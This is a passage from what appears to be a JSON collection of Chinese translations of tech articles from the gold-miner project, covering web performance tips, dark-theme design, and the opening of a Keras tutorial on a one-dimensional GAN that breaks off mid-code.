rel=\"stylesheet\" media=\"(min-width: 40em)\">\n<link href=\"print.css\" rel=\"stylesheet\" media=\"print\">\n```\n\n如果对你来说还不够，Keith Clark 提出了一个不阻塞页面渲染的加载 CSS 的好主意。诀窍是对媒体查询（media query）使用带有无效值的链接元素。当媒体查询结果为 false 时，浏览器仍然会下载样式表，但不会延迟渲染页面。您可以将剩余的不必要的 CSS 分离出来并稍后下载。[阅读更多](https://keithclark.co.uk/articles/loading-css-without-blocking-render/)\n\n#### 保持较低的服务响应时间\n\n虽然这部分可能是不言自明的，但仍值得我们提醒自己它的作用。为了减少服务器响应时间，你可以考虑为某些资源使用 CDN。也可以采用 HTTP2，或简单地删除不必要的请求，并在渲染页面后延迟加载它们。\n\n#### 合适尺寸的图片（Properly size Images）、离屏图片（Offscreen images）和下一代格式（next-gen formats）\n\n这三部分都与一个主题紧密相关 —— 图片。要准确了解你正在加载哪些图片以及它们所占的时间比重，请进入 Chrome Devtools 的网络选项卡并通过 IMG 选项进行过滤。通过查看大小和时间这两行，看看你是否满意这些结果。关于每个图片的大小比重并没有一般性的规则。这很大程度上取决于你的客户端设备、客户端群以及更多只有你自己才了解的情况。\n\n![](https://cdn-images-1.medium.com/max/800/0*0QWY_H341qffDwUE.)\n\n我想在这里更多地谈谈图片优化。在 Audit 结果中这个主题多次出现。\n\n#### 图像优化\n\n图片光栅图和矢量图。光栅图由像素组成。我们通常将它们用于照片和复杂的动画。扩展名：jpg、jpeg、gif。\n\n矢量图由几何图像组成。我们将它们用于徽标和图标，因为它们可以随意缩放不失真。扩展名：svg。\n\n#### SVG\n\nSVG 从一开始就相对较小，但用这些优化器可以使它更小。\n\n* [SvgOmg](https://jakearchibald.github.io/svgomg/)\n* [Svg-optimiser](http://petercollingridge.appspot.com/svg-optimiser)\n\n#### 光栅图\n\n这里有点棘手，因为光栅图像可能非常大。有几种技术可以使它们保持较大的分辨率但仍有较小的文件大小。\n\n#### 多张图片\n\n首先准备多个版本的图像。你并不想在手机上加载视网膜级大小的图像，对吗？尝试制作 3 到 4 个版本的图片。手机版、平板版、桌面版和视网膜版。它们的大小取决于你的目标设备。如果你有任何疑问，请查看[链接](https://css-tricks.com/snippets/css/media-queries-for-standard-devices/)中的标准查询。\n\n#### Srcset 属性\n\n当你的图像准备好后，src 属性有助于定义何时加载哪些图像。\n\n```html\n<img src=\"ing.jpg\" srcset=\"img.jpg, img2x.jpg 2x\" alt=\"img\">\n```\n\n`src` 给不支持 `srcset` 的浏览器用\n`srcset` 给支持的浏览器用\n`img2x.jpg` 给像素缩放比为 2.0 的设备用（视网膜）\n\n```html\n<img src=\"img.jpg\" srcset=\"img1024.jpg 1024w, img2048.jpg 2048w\" alt=\"img\">\n```\n\n`src` 给不支持 `srcset` 的浏览器用\n`srcset` 给支持的浏览器用\n`img1024` 给宽度为 1024 时使用，等等.\n\n上面的例子来自于 [Developer Mozilla](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images)\n\n#### 媒体查询\n\n你还可以创建上面提到过的媒体查询和样式，例如平板或手机。这种方法与 CSS 预处理器同时使用时特别有效。\n\nsrcset 属性的替代品是媒体查询，它的规则不在 HTML 中，而是在 CSS 文件里。对于纯 CSS，这种方法非常耗时，不值得花时间去做。但在这里，预处理器可以通过混入（mixins）和变量来解决问题。有了预处理器后，媒体查询与 srcset 不相上下。决定权在你。\n\n```less\n@desktop:   ~\"only screen and (min-width: 960px) and (max-width: 1199px)\";\n@tablet:    ~\"only screen and (min-width: 720px) and (max-width: 959px)\";\n\n@media @desktop {\n  footer {\n    width: 940px;\n  }\n}\n\n@media @tablet {\n  footer {\n    width: 768px;\n  }\n}\n```\n\n#### 图片 CDNs\n\n当照片准备好并优化后，你还可以优化分发的过程。像 Cloudinary 这样的工具可以显着减少响应延迟。他们的服务器遍布全球，因此分发速度会更快。使用 HTTP 时，对于一个服务器你只能开启 6 个并行请求。使用 CDN 后，并行请求数量会随着服务器数量成倍增长。\n\n#### 延迟加载\n\n有时候，图片必须很花哨且很大。如果你为长时间的延迟而困扰，可以试试图片模糊化或延迟加载。\n\n延迟加载是一种在需要时才开始加载图片或其他任何内容的方法。当图库中有 1000 个图片时，并非所有图片都需要加载。只需加载前 10 个，其余的等用户需要时再加载。\n\n有大量的库可以做到这点。[阅读更多](https://www.sitepoint.com/five-techniques-lazy-load-images-website-performance/)\n\nFacebook 目前正在使用图片模糊化。当你在网络不好的情况下打开某人的资料页时，刚开始图片是模糊的；后来它才变得清晰。[阅读更多](https://css-tricks.com/the-blur-up-technique-for-loading-background-images/)\n\n### 诊断\n\n![](https://cdn-images-1.medium.com/max/800/0*pJgV5n0ujBTL3zhB.)\n\n诊断页（Diagnostics）结束了这一系列测试。我不会详细介绍列表里的每一个标题，因为其中一些主题已经介绍过了。我只会提及其中的一些，并试图在整体上涵盖这些主题。\n\n#### 对静态资源使用了低效的缓存策略\n\nGoole 很注重缓存和无服务器应用。缓存完全取决于你，我不是缓存的忠实拥护者。如果你想了解更多缓存的东西，Google 准备了一些不错的课程。[阅读更多](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching#cache-control)\n\n#### 关键请求链 / 阻塞渲染的脚本\n\n关键请求链（Critical request chains）包含了需要在页面渲染前就完成的请求。保持它尽可能小至关重要。\n\n我们之前提到了 CSS 加载，现在我们来讨论一下 Web 字体。\n\n#### 优化 Web 字体\n\n在创建 web 应用/网站时，目前我们使用四种字体格式：EOT、TTF、WOFF、WOFF2。\n\n没有一种格式是最合适的，因此我们需要再次针对不同的浏览器使用不同的格式。这个主题的入门教程和更多解释在这里。[阅读更多](https://css-tricks.com/snippets/css/using-font-face/)\n不过在刚开始时，最好问问自己是否真的需要使用一个 web 字体。[这里](https://hackernoon.com/web-fonts-when-you-need-them-when-you-dont-a3b4b39fe0ae)有一篇关于它的非常好的文章。\n\n#### 字体压缩\n\n字体是形状和路径描述的集合，用于创建字母。每个字母都是不同的，但幸运的是他们有很多共同点，所以我们可以稍微压缩一下。\n由于 EOT 和 TTF 格式默认未压缩，请确保你的服务器配置了使用 GZIP。\nWOFF 内置了压缩功能。请在你的服务器上使用最佳压缩设置。\nWOFF2具有自定义预处理。[阅读更多](http://www.w3.org/TR/WOFF20ER/)\n\n#### 限制字符\n\n你是否只使用英文？请记住：不需要在字体中添加阿拉伯文或希腊文字母。你也可以使用 unicode 代码点。这使得浏览器可以将较大的 Unicode 字体拆分成较小的子集。[阅读更多](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range)\n\n#### 字体加载策略\n\n加载字体会阻塞页面渲染，因为浏览器需要使用其中的所有字体来构建 DOM。字体加载策略可以防止加载延迟。字体显示（fonts-display）是策略之一，在 CSS 属性中。[阅读更多](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/font-display)\n\n### 优化 JavaScript\n\n#### 不必要的依赖\n\n现在，随着 ES6 越来越重要，我们广泛使用 webpack 和 gulp。在使用库，务必记住，你并不总是需要整个库。如果你不需要引入整个 lodash，只需引入一个函数。\n\n`import _ from 'lodash '` —— 会把整个 lodash 库加到包中\n\n`import {map} from 'lodash'` —— 也会把整个 lodash 库加到包中，你可以使用 [lodash-webpack-plugin](https://github.com/lodash/lodash-webpack-plugin)、[babel-plugin-lodash](https://github.com/lodash/babel-plugin-lodash) 这些插件\n\n`import map from 'lodash/map'` —— 只会把 map 模块加入包中\n\n仔细查看框架中的 ES6 函数和你自己的函数。你不需要为每个功能都引入一个新库。要检查你的包是如何构建的，请使用下面链接中的工具。\n\n* [Webpack bundle analyzer](https://www.npmjs.com/package/webpack-bundle-analyzer)\n* [Bundle buddy](https://github.com/samccone/bundle-buddy)\n\n#### 其他工具\n\n当然有更多的工具来衡量你网站的性能。\n其中一个是 tools.pingdom.com，它或多或少地为你提供与 Audits + Network 选项卡相似的信息。\n\n![](https://cdn-images-1.medium.com/max/800/0*tVmtmD2cIQkhmfnO.)\n\n我同时也推荐安装 PageSpeed Insights 这个 Chrome 扩展。它直接向你显示哪个图片需要更小点。\n\n### 总结\n\n本文试图向你展示如何通过减少资源的大小来使你的网站更轻盈。这只是提高网站性能的第一步。毕竟，这个领域十分广泛，并随着现代前端的发展而变化。请关注这个话题和你的竞争对手。尽量提前一步。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-design-delightful-dark-themes.md",
    "content": "> * 原文地址：[How to design delightful dark themes](https://blog.superhuman.com/how-to-design-delightful-dark-themes-7b3da644ff1f)\n> * 原文作者：[Teresa Man](https://medium.com/@ifbirdsfly)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-design-delightful-dark-themes.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-design-delightful-dark-themes.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[药王](https://github.com/ArcherGrey), [HytonightYX](https://github.com/HytonightYX)\n\n# 如何设计一款讨人喜欢的暗色主题\n\n![](https://cdn-images-1.medium.com/max/4800/1*SNt7SUZucQ3r7aHctIM0xw.png)\n\n**在 [Superhuman](https://superhuman.com/?utm_source=medium&utm_medium=blog&utm_campaign=delightful-dark-themes)，我们正在打造世界上最快的电子邮件体验。您可以体验到以两倍于以前的速度浏览您的收件箱，并且保持收件箱为零！**\n\n暗色主题是应用程序设计的最新趋势。macOS 去年推出了[黑暗模式](https://www.apple.com/newsroom/2018/09/macos-mojave-is-available-today/)。Android 上月也推出了[黑暗主题](https://www.android.com/android-10/)。在过去的两周中，iOS [也紧跟而上](https://www.apple.com/ios/ios-13/)。\n\n曾经很少见的暗色主题已成为人们普遍期望的主题。\n\n如果做得好，暗色主题是有很多好处的。它可以减少眼睛疲劳，在弱光下也更容易阅读。而且，对于 OLED 屏幕来说，暗色主题可以大大降低电量消耗。\n\n然而，创造一个讨人喜欢的暗色主题可不容易。我们不能简单地重用我们的颜色或颠倒我们的色调。如果我们这样做，往往会**适得其反**：我们将增加眼睛的疲劳，使其在弱光下更难阅读。我们甚至有可能打破我们软件的信息层次结构。\n\n在这篇文章中，我们将会分享如何设计通俗易懂、和谐且讨人喜欢的暗色主题\n\n## 1. 越远的区域越暗\n\n大多数深色主题的 UI 设计都遵循这一原则：越远的区域越暗。这模拟了一个光源从上方投射的场景，并传达了熟悉且令人安心的实体感。\n\n当设计一个暗色主题时，我们很容易想当然地将我们的浅色主题直接反转。然而，这样的话，远处的区域会变亮，而近处的区域会变暗。这将破坏真实感，令人感到不自然。\n\n与此相反，您应该只取您的浅色主题的主要表面颜色。反转此颜色以产生暗色主题的主要颜色。对较近的表面调亮这种颜色，对较远的表面调暗这种颜色。\n\n在 Superhuman 中，我们的暗色主题是由五种灰色色调构成的。较近的区域使用较浅的灰色，较远的区域使用较深的灰色。\n\n![较近的区域使用较浅的灰色，较远的区域使用较深的灰色。](https://cdn-images-1.medium.com/max/5352/1*9XSo2QMW141R5hXUHrf8kA.png)\n\n## 2. 重新确定感知对比度\n\n通过原先的浅色主题来设计暗色主题时，很重要的一点是要重新确定感知对比度。注意，是这个元素**看起来的**对比度，而别被所谓的建议或标准所限制。\n\n例如，在我们的浅色主题中，联系人信息是黑色的，不透明度为 60%。但是在我们的暗色主题中，我们将联系方式设置为白色，不透明度为65%。虽然这两种的对比度超过了 [AA 标准](https://accessible-colors.com)，但额外的 5% 可以防止视觉疲劳，特别是在光线不足的情况下。\n\n对于这些颜色的补偿并没有严格的规定。我们可以根据文本大小、字体大小和行宽分别调整每个项目，以确保暗色主题与浅色主题一样清晰、易于阅读。\n\n![](https://cdn-images-1.medium.com/max/5352/1*hM0hLogOLk0DQzVyqBL-6A.png)\n\n## 3. 减少大块明亮的色彩\n\n在浅色主题中，我们经常使用大块明亮的颜色。这一般来说都是对的：我们最重要的元素可能会更亮。但在暗色主题中，这是行不通的：用户会将焦点集中于大块的颜色反而忽视了我们最重要的元素。\n\n例如，这是我们的 Remind me 界面。在我们的浅色主题中，粉红色的遮罩层不会分散在更明亮的对话框上的焦点。但是在我们的暗色主题中，同样的遮罩层将我们的注意力分散。我们完全去掉了遮罩层，这样我们就可以快速、方便地聚焦于重要的内容。\n\n![减少大块明亮的色彩会更容易聚焦于重要的内容](https://cdn-images-1.medium.com/max/5352/1*ixjDo4iN1BgiuNOO_4hadg.png)\n\n## 4. 避免纯黑色或纯白色\n\n在 Superhuman 中，我们没有使用任何纯黑色或纯白色在我们的暗色主题。这样做有四个原因。\n\n#### 4.1. 真实感\n\n在我们的日常环境中并不存在纯黑色（世界上最黑的物体，麻省理工学院开发的一种[尚未命名的材料](http://news.mit.edu/2019/blackest-black-material-cnt-0913)，它离真正的纯黑色还差 0.005%）因此，我们的视觉已经适应了将相对的黑色视为真正的黑色。这就是为什么 `#000000` 会让我们感觉如此不和谐的原因，尤其是在与较亮的元素对比时。因为它不存在于与我们通常看到的任何东西的颜色上。\n\n#### 4.2. 黑色拖影\n\n黑色拖影是一种视觉失真，出现于当较亮的内容被拖动或滚动在纯黑色背景时。\n\n这种效果出现在越来越多人使用的 OLED 屏幕上。在这种屏幕上，纯黑色像素被关闭（这就是暗色主题比浅色主题使用更少电量的原因）。然而，这些像素的开启和关闭的速度比颜色改变的速度要慢。这个不同速度的结果造成了拖影效果。\n\n![在 iOS 时钟中出现的黑色拖影（必须在 OLED 屏中才能看到）。](https://cdn-images-1.medium.com/max/2000/1*eDiI4Yy-K6139EnLaAuSjA.gif)\n\n你可以通过使用深灰色来避免黑色拖影，因为这样像素就不会被关闭。甚至可以使用像 `#010101` 这样的深灰色，并且还会比浅色主题使用更少的电量！\n\n#### 4.3. 层次感\n\n如果您在背景元素中使用了纯黑色，您会失去一些表现层次深度的技巧。\n\n例如，想象您的背景是纯黑色的。在此之上，显示一个通知。通知应该浮在背景之上，所以您用阴影来表达深度。只是这样的阴影难以察觉，因为没有什么比纯黑色更暗。\n\n如果您的背景不是纯黑色的，您可以使用不同不透明度的阴影和模糊来表达深度。例如，考虑 Superhuman 中的通知：\n\n![如果您的背景不是纯黑色的，您可以使用不同不透明度的阴影和模糊来表达深度。](https://cdn-images-1.medium.com/max/5352/1*N4e5iEguoLP4l6vsWGDYmA.png)\n\n#### 4.4. 眩晕\n\n纯白色文本在纯黑色背景下可能产生的最高对比度为：21:1。在 WCAG（Web Content Accessibility Guidelines Web 内容无障碍指南） 中的无障碍说法中，这是理想输出。\n\n然而，在设计暗色主题时，一定要小心过高的对比度。对比度太高会导致眼睛疲劳和**眩晕**。\n\n当将非常明亮的文本放置在非常暗的背景下时，文本会看起来渗透在背景之中。这对于我们这些散光的人来说，影响甚至更强。[感觉感知与互动研究小组](http://www.cs.ubc.ca/labs/spin/)的博士后研究员 Jason Harrison 表示：\n\n> 散光患者（约占总人口的 50% ）在阅读黑底白字内容时比阅读白底黑字内容更困难。这在一定程度上与光线有关：在明亮的显示背景（白色背景）下，虹膜闭合得更紧，减少了角膜（可以理解为可以变形的“镜片”）的影响；在黑色的背景下，虹膜会打开以接收更多的光线，而角膜的变形会使眼睛产生更模糊的焦点。\n\n在 Superhuman 中，由于我们的软件文字很多，所以我们必须特别小心眩晕问题。我们把白色的文字设置为 90% 的不透明度，从而使文字与深色背景融为一体。这就平衡了对比度和亮度，使软件很容易在各种光线条件下阅读。\n\n![](https://cdn-images-1.medium.com/max/5352/1*4D5E9fE--h9OMjYN382O5Q.png)\n\n## 5. 加深颜色\n\n由于我们调低了文本的色彩来避免眼睛疲劳和晕眩，因此我们的彩色强调内容和按钮可能显得太亮。现在，我们必须调整这些颜色以在暗色主题中更好地工作。首先，我们降低亮度，使这些颜色不会压制附近的文本。其次，我们增加饱和度，使它们仍然具有颜色特征。\n\n例如，如果我们直接使用浅色主题中的紫色，对于附近的文本而言，它显得太亮了。所以，在我们实际的暗色主题中，我们加深了紫色，以便用户可以专注于文本内容。\n\n![为暗色的主题创造更深的颜色；保持色调，降低亮度，增加饱和度。](https://cdn-images-1.medium.com/max/5352/1*CC8IvWLlP3uGqMkq4BQmXg.png)\n\n---\n\n## 结论\n\n暗色主题有很多好处，现在正在被广泛期待。然而，做好一个暗色主题可不容易。简单地重用我们的颜色或颠倒我们的色调，将增加眼睛的疲劳，使其在弱光下更难阅读，甚至还有可能打破我们软件的信息层次结构。\n\n我们找到了一种系统的方式来构建通俗易懂的，和谐且讨人喜欢的暗色主题。只需遵循以下步骤：\n\n1. 越远的区域越暗\n2. 重新确定感知对比度\n3. 减少大块明亮的色彩\n4. 避免纯黑色或纯白色\n5. 加深颜色\n\n我希望以上这些有助于您设计讨人喜欢的暗色主题。如果您有任何想法或疑问，可以和我聊聊！[@ifbirdsfly](https://twitter.com/ifbirdsfly)，[teresa@superhuman.com](mailto:teresa@superhuman.com) 👩‍🎨\n\n— Teresa Man，Superhuman 的首席设计师\n\n---\n\n**在 Superhuman，我们正在重建针对 web 和移动设备的电子邮件体验。试想一下电子邮箱界的 Vim 或者 Sublime：惊人快速，视觉华丽。**\n\n**如果您崇尚用优雅的方式解决有趣的问题 —— 请加入我们！[了解更多信息](https://superhuman.com/?utm_source=medium&utm_medium=blog&utm_campaign=delightful-dark-themes)或者[给我发电子邮件](mailto:teresa@superhuman.com).**\n\n**非常感谢 [Jared Erondu](https://twitter.com/erondu)，[Dave Klein](https://twitter.com/diklein)，[Jayson Hobby](https://twitter.com/jaysonhobby)，[Tim Boucher](https://twitter.com/_timothee)，[Tamas Sari](https://twitter.com/tamassari) 以及 [Jiho Lim](https://twitter.com/jiholimm) 的付出和审查！**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-develop-a-generative-adversarial-network-for-a-1-dimensional-function-from-scratch-in-keras.md",
    "content": "> * 原文地址：[How to Develop a 1D Generative Adversarial Network From Scratch in Keras](https://machinelearningmastery.com/how-to-develop-a-generative-adversarial-network-for-a-1-dimensional-function-from-scratch-in-keras/)\n> * 原文作者：[Jason Brownlee](https://www.pyimagesearch.com/author/adrian/) \n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-develop-a-generative-adversarial-network-for-a-1-dimensional-function-from-scratch-in-keras.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-develop-a-generative-adversarial-network-for-a-1-dimensional-function-from-scratch-in-keras.md)\n> * 译者：[TokenJan](https://github.com/TokenJan)\n> * 校对者：[haiyang-tju](https://github.com/haiyang-tju)、[司徒公子](https://github.com/stuchilde)\n\n# 如何用 Keras 从头搭建一维生成对抗网络\n\n[生成对抗网络，或简称 GANs](https://machinelearningmastery.com/what-are-generative-adversarial-networks-gans/)，是一个深度学习框架，用于训练强大的生成器模型。\n\n生成器模型可以用来生成新的假样本，这很可能来自于现有的样本分布。\n\nGANs 由生成器模型和判别器模型组成。生成器负责从领域中生成新的样本，判别器负责感知这些样本的真伪（生成的）。重要的是，判别器模型的性能被用来更新判别器自己和生成器的模型权重。这意味着生成器无法感知来自领域中的样本，而是基于判别器的表现来作出调整。\n\n这是一个理解和训练都复杂的模型。\n\n一个更好地理解 GAN 模型本质以及如何训练它们的方法是基于简单任务从头开始构建一个模型。\n\n一维函数这个简单的任务为从头搭建一个简单的 GAN 提供了好环境。这是因为真实的和生成的样本均可以被绘制出来，通过可视化来检查到底学习到了什么。一个简单的函数也不需要复杂的神经网络模型，这意味着架构中使用特定的生成器和判别器可以很容易被理解。\n\n在这个教程中，我们将选择一个简单的一维函数，以此为基础，使用 Keras 深度学习库从头搭建和评估一个 GAN。\n\n在完成本教程后，你将学习到：\n\n* 使用一个简单的一维函数从头搭建一个 GAN 的好处。\n* 如何搭建独立的判别器和生成器模型，以及一个通过判别器预测行为来训练生成器的复合模型。\n* 如何在问题域中的真实数据环境中主观评估生成样本。\n\n[在我新的 GANs 书中](/generative_adversarial_networks/)可以找到如何搭建 DCGANs、conditional GANs、Pix2Pix、CycleGANs 等内容，其中还附有 29 个循序渐进的教程和完整的源代码。\n\n让我们开始吧。\n\n![如何用 Keras 从头搭建一维函数 GAN ](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/06/How-to-Develop-a-Generative-Adversarial-Network-for-a-1-Dimensional-Function-From-Scratch-in-Keras.jpg)\n\n如何用 Keras 从头搭建一维函数 GAN\n这张照片由 [Chris Bambrick](https://www.flickr.com/photos/lntervention/16865473804/) 拍摄，并保留权利。\n\n## 教程概述\n\n本教程分为六个部分，分别是：\n\n1. 选择一个一维函数\n2. 定义一个判别器模型\n3. 定义一个生成器模型\n4. 训练生成器模型\n5. 评估 GAN 的性能\n6. 训练 GAN 的完整示例\n\n## 选择一个一维函数\n\n第一步是选择一维函数建模。\n\n函数形如：\n\n```\ny = f(x)\n```\n\n其中，_x_ 和 _y_ 是函数的输入值和输出值。\n\n特别的是，我们需要一个易于理解和绘制的函数。这将有助于设定对模型应该生成的期望，并有助于对生成的样本进行可视化检查以了解其质量。\n\n我们将会使用一个简单的函数 _x^2_；这个函数会返回输入值的平方。你可能还记得高中代数学到的这个函数，它是一个 _u_ 型函数。\n\n我们可以在 Python 中这样定义这个函数：\n\n```python\n# 简单的函数\ndef calculate(x):\n\treturn x * x\n```\n我们可以定义输入域为在 -0.5 到 0.5 之间的实数，并且在线性范围内计算每个输入值对应的输出值，然后绘制结果来了解输入和输出是如何关联的。\n\n完整的例子如下。\n\n```python\n# 演示简单的 x^2 函数\nfrom matplotlib import pyplot\n\n# 简单的函数\ndef calculate(x):\n\treturn x * x\n\n# 定义输入值\ninputs = [-0.5, -0.4, -0.3, -0.2, -0.1, 0, 0.1, 0.2, 0.3, 0.4, 0.5]\n# 计算输出值\noutputs = [calculate(x) for x in inputs]\n# 绘制结果\npyplot.plot(inputs, outputs)\npyplot.show()\n```\n\n运行这个例子为每个输入值计算其输出值，并且绘制一张输入值和输出值的关系图。\n\n我们可以看到远离 0 的值能得到较大的输出值，反之接近 0 的值会得到较小的输出值，并且此行为是关于 y 轴对称的。\n\n这就是著名的一维函数 X^2 的 u 型图。\n\n![X^2 函数的输入输出图](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/Plot-of-inputs-vs-outputs-for-X^2-function-1024x768.png)\n\nX^2 函数的输入输出图。\n\n我们可以从这个函数中随机的生成样本或点。\n\n这个可以通过生成在 -0.5 和 0.5 之间的随机值，并且计算其对应的输出值来实现。多次重复这个步骤就能得到该函数的样本点，比如“_真实的样本_”。\n\n用散点图绘制这些样本将会显示同样的 u 型图，尽管这些是由独立的随机样本构成的。\n\n完整的例子如下所述。\n\n首先，我们在 0 和 1 之间均匀地生成随机值，然后将它们偏移到 -0.5 和 0.5 范围内。然后我们为每一个随机生成的输入值计算其对应的输出值，并把这些矩阵组合并成一个 n 行（100）和 2 列的单 Numpy 数组。\n\n```python\n# 从 X^2 中生成随机样本的例子\nfrom numpy.random import rand\nfrom numpy import hstack\nfrom matplotlib import pyplot\n\n# 从 x^2 中生成随机样本\ndef generate_samples(n=100):\n\t# 在 [-0.5, 0.5] 区间内生成随机输入\n\tX1 = rand(n) - 0.5\n\t# 生成 X^2 （二次方）的输出\n\tX2 = X1 * X1\n\t# 堆叠数组\n\tX1 = X1.reshape(n, 1)\n\tX2 = X2.reshape(n, 1)\n\treturn hstack((X1, X2))\n\n# 生成样本\ndata = generate_samples()\n# 绘制样本\npyplot.scatter(data[:, 0], data[:, 1])\npyplot.show()\n```\n\n运行这个例子将产生 100 个随机输入，计算所得的输出以及绘制样本的散点图，这是一张熟悉的 u 型图。\n\n![为 X^2 函数绘制随机生成的输入样本和计算的输出值。](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/Plot-of-randomly-generated-sample-of-inputs-vs-calculated-outputs-for-X^2-function-1024x768.png)\n\n为 X^2 函数绘制随机生成的输入样本和计算的输出值。\n\n我们可以将这个函数作为判别器函数生成真实样本的起始点。尤其是一个样本是由两个元素的向量组成的，一个作为输入，一个作为我们的一维函数的输出。\n\n我们也可以想象一个生成器模型是如何生成新样本的，我们可以绘制它们同时与期望的 u 型 X^2 函数比较。特别是一个生成器可以输出一个由两个元素组成的向量：一个作为输入，一个作为一维函数的输出。\n\n## 定义一个判别器模型\n\n下一步是定义判别器模型。\n\n这个模型必须从我们的问题域中抽取一个样本，比如一个由两个元素组成的向量，然后输出一个分类预测来区分这个样本的真假。\n\n这是一个二分类问题。\n\n* **输入**：由两个实数组成的样本。\n* **输出**：二分类，样本为真（或假）的可能性。\n\n这个问题非常简单，意味着我们不需要一个复杂的神经网络来建模。\n\n这个判别器模型有一个隐藏层，其中含有 25 个神经元，使用 [ReLU 激活函数](https://machinelearningmastery.com/rectified-linear-activation-function-for-deep-learning-neural-networks/)和合适权值的 He 初始化方法。\n\n输出层包含一个神经元，它用 sigmoid 激活函数来做二分类。\n\n这个模型将会最小化二分类的交叉熵损失函数，以及用 [Adam 版本的随机梯度下降](https://machinelearningmastery.com/adam-optimization-algorithm-for-deep-learning/)，因为它非常有效。\n\n下面的 _define_discriminator()_ 函数定义和返回了判别器模型。这个函数参数化了期望的输入个数，默认值为 2。\n\n```python\n# 定义独立的判别器模型\ndef define_discriminator(n_inputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(25, activation='relu', kernel_initializer='he_uniform', input_dim=n_inputs))\n\tmodel.add(Dense(1, activation='sigmoid'))\n\t# 编译模型\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\treturn model\n```\n\n我们可以使用这个函数来定义和总结这个判别器模型。完整的例子如下所示。\n\n```python\n# 定义判别器模型\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.utils.vis_utils import plot_model\n\n# 定义独立的判别器模型\ndef define_discriminator(n_inputs=2):\n\tmodel = Sequential()\n\tmodel.add(Dense(25, activation='relu', kernel_initializer='he_uniform', input_dim=n_inputs))\n\tmodel.add(Dense(1, activation='sigmoid'))\n\t# 编译模型\n\tmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n\treturn model\n\n# 定义判别模型\nmodel = define_discriminator()\n# 总结模型\nmodel.summary()\n# 绘制模型\nplot_model(model, to_file='discriminator_plot.png', show_shapes=True, show_layer_names=True)\n```\n\n运行这个例子，它定义并总结了判别器模型。\n\n```\n_________________________________________________________________\nLayer (type)                 Output Shape              Param #\n=================================================================\ndense_1 (Dense)              (None, 25)                75\n_________________________________________________________________\ndense_2 (Dense)              (None, 1)                 26\n=================================================================\nTotal params: 101\nTrainable params: 101\nNon-trainable params: 0\n_________________________________________________________________\n```\n\n该模型的图也被生成了，可以看到该模型有两个输入和一个输出。\n\n**注意**：生成这张模型图需要安装 pydot 和 graphviz 库。如果安装遇到了问题，你可以把引入 _plot_model_ 函数的 import 语句和调用 _plot_model_ 方法注释掉。\n\n![GAN 中生成器模型图](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/04/Plot-of-the-Discriminator-Model-in-the-GAN.png)\n\nGAN 中生成器模型图\n\n现在可以开始训练这个模型了，用到的数据是标记为 1 的真实数据和标记为 0 的随机生成数据。\n\n我们不需要做这件事，但是这些我们开发的元素在之后会变得很有帮助，并且它帮助我们认识到生成器只是一个普通的神经网络模型。\n\n首先，我们可以从预测的部分更新我们的 _generate_samples()_ 方法，命名为 _generate\\_real\\_samples()_，它会返回真实样本的输出标签，也就是一个由 1 组成的数组，这里 1 表示真实样本。\n\n```python\n# 生成 n 个真实样本和分类标签\ndef generate_real_samples(n):\n\t# 生成 [-0.5, 0.5] 范围内的输入值\n\tX1 = rand(n) - 0.5\n\t# 生成输出值 X^2\n\tX2 = X1 * X1\n\t# 堆叠数组\n\tX1 = X1.reshape(n, 1)\n\tX2 = X2.reshape(n, 1)\n\tX = hstack((X1, X2))\n\t# 